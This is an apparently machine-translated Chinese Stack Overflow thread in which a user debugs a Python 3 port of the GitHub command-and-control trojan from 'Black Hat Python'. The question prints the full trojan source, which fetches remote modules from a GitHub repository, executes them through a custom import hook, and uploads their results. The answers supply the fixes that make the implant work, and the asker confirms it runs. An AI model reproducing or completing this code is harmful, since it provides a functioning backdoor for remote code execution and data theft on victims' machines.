回溯错误:查找错误:未知编码charmap

时间:2017-12-02 06:29:06

标签: python-3.x encoding traceback

我跟随Justin Seitz的书" Black Hat Python。"在本章中,我们使用GitHub编写一个特洛伊木马来执行命令和控制,并使用github3.py与GitHub进行交互。问题是本书使用python2,我试图在python3中做到这一点。我收到了追溯错误,"查找错误:未知编码:charmap"。我该如何解决这个错误?

这是追溯:

Traceback (most recent call last):
  File "trojan.py", line 102, in <module>
    config = get_trojan_config()
  File "trojan.py", line 44, in get_trojan_config
    config_json = get_file_contents(trojan_config)
  File "trojan.py", line 30, in get_file_contents
    gh, repo, branch = connect_to_github()
  File "trojan.py", line 24, in connect_to_github
    repo = gh.repository("*redacted*", "*redacted*")
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/github3/github.py", line 1063, in repository
    json = self._json(self._get(url), 200)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/github3/models.py", line 130, in _get
    return self._session.get(url, **kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/requests/sessions.py", line 521, in get
    return self.request('GET', url, **kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/github3/session.py", line 81, in request
    response = super(GitHubSession, self).request(*args, **kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/requests/sessions.py", line 508, in request
    resp = self.send(prep, **send_kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/requests/sessions.py", line 618, in send
    r = adapter.send(request, **kwargs)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/requests/adapters.py", line 440, in send
    timeout=timeout
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/connectionpool.py", line 601, in urlopen
    chunked=chunked)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/connectionpool.py", line 346, in _make_request
    self._validate_conn(conn)
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/connectionpool.py", line 850, in _validate_conn
    conn.connect()
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/connection.py", line 337, in connect
    cert = self.sock.getpeercert()
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/urllib3/contrib/pyopenssl.py", line 346, in getpeercert
    (('commonName', x509.get_subject().CN),),
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/crypto.py", line 540, in __getattr__
    nid = _lib.OBJ_txt2nid(_byte_string(name))
  File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/_util.py", line 112, in byte_string
    return s.encode("charmap")
LookupError: unknown encoding: charmap

以下是源代码:

import json
import base64
import sys
import time
import importlib
import random
import threading
import queue
import os

from github3 import login

trojan_id = "abc"

trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules = []
configured = False
task_queue = queue.Queue()


def connect_to_github():
    gh = login(username="", password="")
    repo = gh.repository("", "")
    branch = repo.branch("master")
    return gh, repo, branch


def get_file_contents(filepath):
    gh, repo, branch = connect_to_github()
    tree = branch.commit.commit.tree.recurse()

    for filename in tree.tree:
        if filepath in filename.path:
            print("[*] Found file %s", filepath)
            blob = repo.blob(filename._json_data['sha'])
            return blob.content

    return None


def get_trojan_config():
    global configured
    config_json = get_file_contents(trojan_config)
    config = json.load(base64.b64decode(config_json))
    configured = True

    for task in config:
        if task['module'] not in sys.modules:
            exec("import %s" % task['module'])
    return config


def store_module_result(data):
    gh, repo, branch = connect_to_github()
    remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000, 100000))
    repo.create_file(remote_path, "Commit  message", base64.b64encode(data))

    return


class GitImporter(object):


    def __init__(self):
        self.current_module_code = ""


    def find_module(self, fullname, path=None):
        if configured:
            print("[*] Attempting to retrieve %s" % fullname)
            new_library = get_file_contents("modules/%s" % fullname)

            if new_library is not None:
                self.current_module_code = base64.b64decode(new_library)
                return self
        return None


    def load_module(self, name):
        module = importlib.import_module(name)
        exec(self.current_module_code in module.__dict__)
        sys.modules[name] = module

        return module


def module_runner(module):
    task_queue.put(1)
    result = sys.modules[module].run()
    task_queue.get()

    store_module_result(result)

    return


sys.meta_path =[GitImporter()]

while True:
    if task_queue.empty():
        config = get_trojan_config()
        for task in config:
            t = threading.Thread(target=module_runner, args = (task['module'],))
            t.start()
            time.sleep(random.randint(1, 10))

为了保护隐私,我故意从源代码和追溯中修改了个人身份信息。

3 个答案:

答案 0 :(得分:1)

对于此问题,您可以编辑文件:

  

/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/_util.py

将导致错误的行更改为:

return s.encode()

答案 1 :(得分:1)

感谢上述帮助。总之,可通过以下三个步骤解决该错误:

1)修改/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/_util.py,删除“字符映射表”

2)更改为tree = branch.commit.commit.tree.to_tree()。​​recurse()

3)exec(self.current_module_code,module。 dict

现在正在工作。谢谢。

答案 2 :(得分:0)

在函数get_file_contents中,替换:

tree = branch.commit.commit.tree.recurse()

具有:

tree = branch.commit.commit.tree.to_tree().recurse()

在函数store_module_result中,替换:

repo.create_file(remote_path, "Commit message", base64.b64encode(data))

具有:

repo.create_file(remote_path, "Commit message", base64.b64encode(data.encode()))

在方法load_module中,替换:

exec(self.current_module_code in module.__dict__)

具有:

exec(self.current_module_code, module.__dict__)